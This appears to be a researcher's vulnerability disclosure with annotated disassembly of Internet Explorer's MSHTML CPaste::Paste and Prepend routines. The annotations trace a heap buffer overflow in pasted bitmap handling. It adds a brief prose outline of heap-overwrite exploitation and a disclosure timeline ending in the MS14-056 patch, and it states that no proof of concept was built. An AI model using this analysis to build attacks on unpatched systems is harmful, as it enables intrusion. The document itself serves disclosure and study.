72cf6626 ff750c push dword ptr [ebp+0Ch]
72cf6629 ff7508 push dword ptr [ebp+8]
72cf662c e832e4ffff call MSHTML!CPaste::Handle (72cf4a63)
72cf6631 8bf0 mov esi,eax
72cf6633 85f6 test esi,esi
72cf6635 0f8992020000 jns MSHTML!CPaste::Paste+0x698 (72cf68cd)
72cf663b 8b4d08 mov ecx,dword ptr [ebp+8]
72cf663e 8b01 mov eax,dword ptr [ecx]
72cf6640 ff9080000000 call dword ptr [eax+80h]
72cf6646 85c0 test eax,eax
72cf6648 0f847f020000 je MSHTML!CPaste::Paste+0x698 (72cf68cd)
72cf664e 8b4d0c mov ecx,dword ptr [ebp+0Ch]
72cf6651 8b01 mov eax,dword ptr [ecx]
72cf6653 ff9080000000 call dword ptr [eax+80h]
72cf6659 85c0 test eax,eax
72cf665b 0f846c020000 je MSHTML!CPaste::Paste+0x698 (72cf68cd)
72cf6661 be64000480 mov esi,80040064h
72cf6666 47 inc edi
72cf6667 8344241414 add dword ptr [esp+14h],14h
72cf666c 3b7c2448 cmp edi,dword ptr [esp+48h]
72cf6670 0f8d57020000 jge MSHTML!CPaste::Paste+0x698 (72cf68cd)
72cf6676 e925feffff jmp MSHTML!CPaste::Paste+0x26b (72cf64a0)
7202667b 50 push eax
7202667c ff15e4430f72 call dword ptr [MSHTML!_imp__ (720f43e4)] <eax> =
72026682 89442450 mov dword ptr [esp+50h],eax u<stack> = u<eax>
72026686 83f82c cmp eax,2Ch if (u<eax> < 0x2C)
72026689 0f82cdfeffff jb 7202655c goto label1
7202668f 8b17 mov edx,dword ptr [edi] larg2<edx> = po<edi>->BITMAPINFOHEADER.bi
72026691 8d442438 lea eax,[esp+38h] &u<eax> = &(u<stack>)
72026695 8b4f14 mov ecx,dword ptr [edi+14h] larg1<ecx> = po<edi>->BITMAPINFOHEADER.bi
72026698 8364243800 and dword ptr [esp+38h],0 u<stack> = 0
7202669d 50 push eax larg3<stack> = &pab<eax>
7202669e e8f9da28ff call 712b419c h<eax> = MSHTML!UInt( u = po->bi + po->bi
po<edi>->bi<ecx> h<eax> = error code on integer overflow
po<edi>->bi<edx>
&u<eax>
);
720266a3 8bf0 mov esi,eax h<esi> = h<eax>
720266a5 85f6 test esi,esi if (h<esi> < 0)
720266a7 0f88affeffff js 7202655c goto label1
720266ad 8b442450 mov eax,dword ptr [esp+50h] u<eax> = u<stack>
720266b1 3b442438 cmp eax,dword ptr [esp+38h] if (u<eax> < u<stack>)
720266b5 0f82a1feffff jb 7202655c goto label1
720266bb 8364243400 and dword ptr [esp+34h],0 po<stack> = 0
720266c0 8d4c244c lea ecx,[esp+4Ch] &u<ecx> = &(u<stack>)
720266c4 8364244c00 and dword ptr [esp+4Ch],0 u<stack> = 0
720266c9 51 push ecx larg4<stack> = &u<ecx>
720266ca 8d4c2438 lea ecx,[esp+38h] &po<ecx> = &(po<stack>)
720266ce 51 push ecx larg3<stack> = &po<ecx>
720266cf 50 push eax larg2<stack> = u<eax>
720266d0 57 push edi larg1<stack> = po<edi>
720266d1 e8af020000 call 72026985 h<eax> = MSHTML!CPaste::Prepend(
po = po<edi>
u = u<eax>
ppo = &po,
pu = &u);
720266d6 8bf0 mov esi,eax h<esi> = h<eax>
720266d8 85f6 test esi,esi if (h<esi> != 0)
720266da 0f857cfeffff jne 7202655c goto label1
720266e0 21442438 and dword ptr [esp+38h],eax pab<stack> = NULL<eax>
720266e4 21442450 and dword ptr [esp+50h],eax u<stack> = 0<eax>
720266e8 8d442450 lea eax,[esp+50h] &u<eax> = &(u<stack>)
720266ec 50 push eax larg4<stack> = &u<eax>
720266ed 8d44243c lea eax,[esp+3Ch] &pab<eax> = &(pab<stack>)
720266f1 50 push eax larg3<stack> = &pab<eax>
720266f2 ff742454 push dword ptr [esp+54h] larg2<stack> = u<stack>
720266f6 ff742440 push dword ptr [esp+40h] larg1<stack> = po<stack>
720266fa e8feb1ffff call 720218fd MSHTML!CPaste::Convert(
po = po<stack>,
**** SHIT HITS FAN **** u = u<stack>,
ppo = &pab,
pu = &u<stack>)
720266ff ff742434 push dword ptr [esp+34h]
72026703 8bf0 mov esi,eax
72026705 e8fdc85fff call 71623007 MSHTML!operator delete(...)
7202670a 59 pop ecx
7202670b 85f6 test esi,esi
7202670d 0f8549feffff jne 7202655c goto label1;
72026713 ff7524 push dword ptr [ebp+24h]
72026716 8bcb mov ecx,ebx
72026718 ff751c push dword ptr [ebp+1Ch]
7202671b ff7520 push dword ptr [ebp+20h]
7202671e ff74245c push dword ptr [esp+5Ch]
72026722 ff742448 push dword ptr [esp+48h]
72026726 ff750c push dword ptr [ebp+0Ch]
72026729 ff7508 push dword ptr [ebp+8]
7202672c e81ce2ffff call 7202494d MSHTML!CPaste::Handle(...)
72026731 ff742438 push dword ptr [esp+38h]
72026735 8bf0 mov esi,eax
72026737 e8cbc85fff call MSHTML!operator delete (71623007)
7202673c 59 pop ecx
7202673d e91afeffff jmp 7202655c label1
7202650c 8b442410 mov eax,dword ptr [esp+10h]
72026510 85ff test edi,edi
72026512 0f84f8000000 je MSHTML!CPaste::Paste+0x3db (72026610)
72026518 83ff01 cmp edi,1
7202651b 744d je MSHTML!CPaste::Paste+0x335 (7202656a)
7202651d 83ff02 cmp edi,2
72026520 0f84d1020000 je MSHTML!CPaste::Paste+0x5c2 (720267f7)
72026526 0f8e3a010000 jle MSHTML!CPaste::Paste+0x431 (72026666)
7202652c 83ff04 cmp edi,4
7202652f 0f8e0d020000 jle MSHTML!CPaste::Paste+0x50d (72026742)
72026535 83ff08 cmp edi,8
72026538 0f8528010000 jne MSHTML!CPaste::Paste+0x431 (72026666)
7202653e 50 push eax
7202653f ff15e0430f72 call dword ptr [MSHTML!_imp__ (720f43e0)]
72026545 8bf8 mov edi,eax
72026547 8b442410 mov eax,dword ptr [esp+10h]
7202654b 89442420 mov dword ptr [esp+20h],eax
7202654f 85ff test edi,edi
72026551 0f8524010000 jne MSHTML!CPaste::Paste+0x446 (7202667b)
72026557 be0e000780 mov esi,8007000Eh
label1:
7202655c 8d4c2420 lea ecx,[esp+20h]
72026560 e819f1bfff call MSHTML!TSmart<void *,&Global>::~TSmart<void *,&Global> (71c2567e)
72026565 e963030000 jmp MSHTML!CPaste::Paste+0x698 (720268cd)
MSHTML!CPaste..Prepend.txt
MSHTML!CPaste(
VOID* po<ebp+8>,
UINT u<ebp+C>,
VOID** ppo<ebp+10>,
UINT* u<ebp+14>
):
u<ebp-4>
72cf6985 8bff mov edi,edi
72cf6987 55 push ebp
72cf6988 8bec mov ebp,esp
72cf698a 51 push ecx
72cf698b 8b4d0c mov ecx,dword ptr [ebp+0Ch] larg1<ecx> = u<ebp+C>
72cf698e 8d45fc lea eax,[ebp-4] &u<eax> = &u<ebp-4>
72cf6991 8365fc00 and dword ptr [ebp-4],0 u<ebp-4> = 0
72cf6995 56 push esi
72cf6996 57 push edi
72cf6997 50 push eax larg3<stack> = &u<eax>
72cf6998 6a0e push 0Eh
72cf699a 5a pop edx larg2<edx> = 0x
72cf699b e8fcd728ff call 71f8419c MSHTML!UInt( u = u + 0x
u<ecx>,
0x<edx>, h = error code on integer overflow
&u<eax>);
72cf69a0 8bf8 mov edi,eax h<edi> = h<eax>
72cf69a2 85ff test edi,edi if (h<edi> < 0) if (h < 0)
72cf69a4 7850 js 72cf69f6 goto return_; return 0x8007000E;
72cf69a6 8b75fc mov esi,dword ptr [ebp-4] u<esi> = u<ebp-4>
72cf69a9 56 push esi larg3<stack> = u<esi>
72cf69aa 6a00 push 0 larg2<stack> = 0
72cf69ac ff3510ccd972 push dword ptr [72d9cc10] larg1<stack> = MSHTML!g_
72cf69b2 e8eaa620ff call 71f010a1 po<eax> = MSHTML!Heap( po<eax> = Heap(g_, 0, u);
MSHTML!g_,
0,
u<esi>);
72cf69b7 8b4d10 mov ecx,dword ptr [ebp+10h] ppo<ecx> = ppo<ebp+10>
72cf69ba 8901 mov dword ptr [ecx],eax *(ppo<ecx>) = po<eax> *ppo = po
72cf69bc 85c0 test eax,eax if (po<eax> == NULL) if (po == NULL)
72cf69be 7436 je 72cf69f6 goto return_; return 0x8007000E;
72cf69c0 ff750c push dword ptr [ebp+0Ch] larg4<stack> = u
72cf69c3 b9424d0000 mov ecx,4D42h "BM"<ecx> = 0x4D42
72cf69c8 897002 mov dword ptr [eax+2],esi po<eax>->BITMAPFILEHEADER.bf = u<esi> po->BITMAPFILEHEADER.bf = u
72cf69cb ff7508 push dword ptr [ebp+8] larg3<stack> = po<ebp+8>
72cf69ce 668908 mov word ptr [eax],cx po<eax>->BITMAPFILEHEADER.bf = "BM"<cx> po->BITMAPFILEHEADER.bf = "BM"
72cf69d1 33c9 xor ecx,ecx 0<ecx> = 0
72cf69d3 ff750c push dword ptr [ebp+0Ch] larg2<stack> = u po->BITMAPFILEHEADER.bf1 = 0
72cf69d6 894806 mov dword ptr [eax+6],ecx po<eax>->BITMAPFILEHEADER.bf12 = 0 po->BITMAPFILEHEADER.bf2 = 0
72cf69d9 c7400a36000000 mov dword ptr [eax+0Ah],36h po<eax>->BITMAPFILEHEADER.bf = 0x36 po->BITMAPFILEHEADER.bf = 0x36
72cf69e0 83c00e add eax,0Eh &(po.BITMAPINFO)<eax> = po<eax> + sizeof(BITMAPFILEHEADER)
72cf69e3 50 push eax larg1<stack> = &o<eax>
72cf69e4 ff159841dc72 call dword ptr [72dc4198] MSHTML!_imp___( memcpy_(&(po->BITMAPINFO), u, po, u)
&(po.BITMAPINFO)<stack>,
u<stack>,
po<stack>,
u<stack>);
72cf69ea 8b4514 mov eax,dword ptr [ebp+14h] pu<eax> = pu<ebp+14>
72cf69ed 83c410 add esp,10h WTF!?
72cf69f0 8930 mov dword ptr [eax],esi *(pu<eax>) = u<esi> *pu = u
72cf69f2 8bc7 mov eax,edi h<eax> = h<edi> return s_;
72cf69f4 eb05 jmp 72cf69fb goto return;
return_:
72cf69f6 b80e000780 mov eax,8007000Eh h<eax> = 0x8007000E
return:
72cf69fb 5f pop edi
72cf69fc 5e pop esi
72cf69fd 8be5 mov esp,ebp
72cf69ff 5d pop ebp
72cf6a00 c21000 ret 10h return h<eax>
Exploit
An attacker looking to exploit this issue will commonly attempt to get the memory allocated to store the PNG image in a location that is followed by a pre-allocated memory block that contains information the attacker would like to modify. Using the buffer overflow, the attacker can overwrite this pre-allocated memory block with attacker controlled data. Depending on the type of the pre-allocated memory, this could allow the attacker to read or modify arbitrary information within the process and take control of execution flow. No attempt was made to create a Proof-of-Concept that shows this level of control.
Time-line
8 May 2014: This vulnerability was submitted to ZDI.
9 June 2014: This vulnerability was acquired by ZDI.
23 June 2014: This vulnerability was disclosed to Microsoft by ZDI.
14 October 2014: This vulnerability was address by Microsoft in MS14-056.
21 December 2016: Details of this vulnerability are released.
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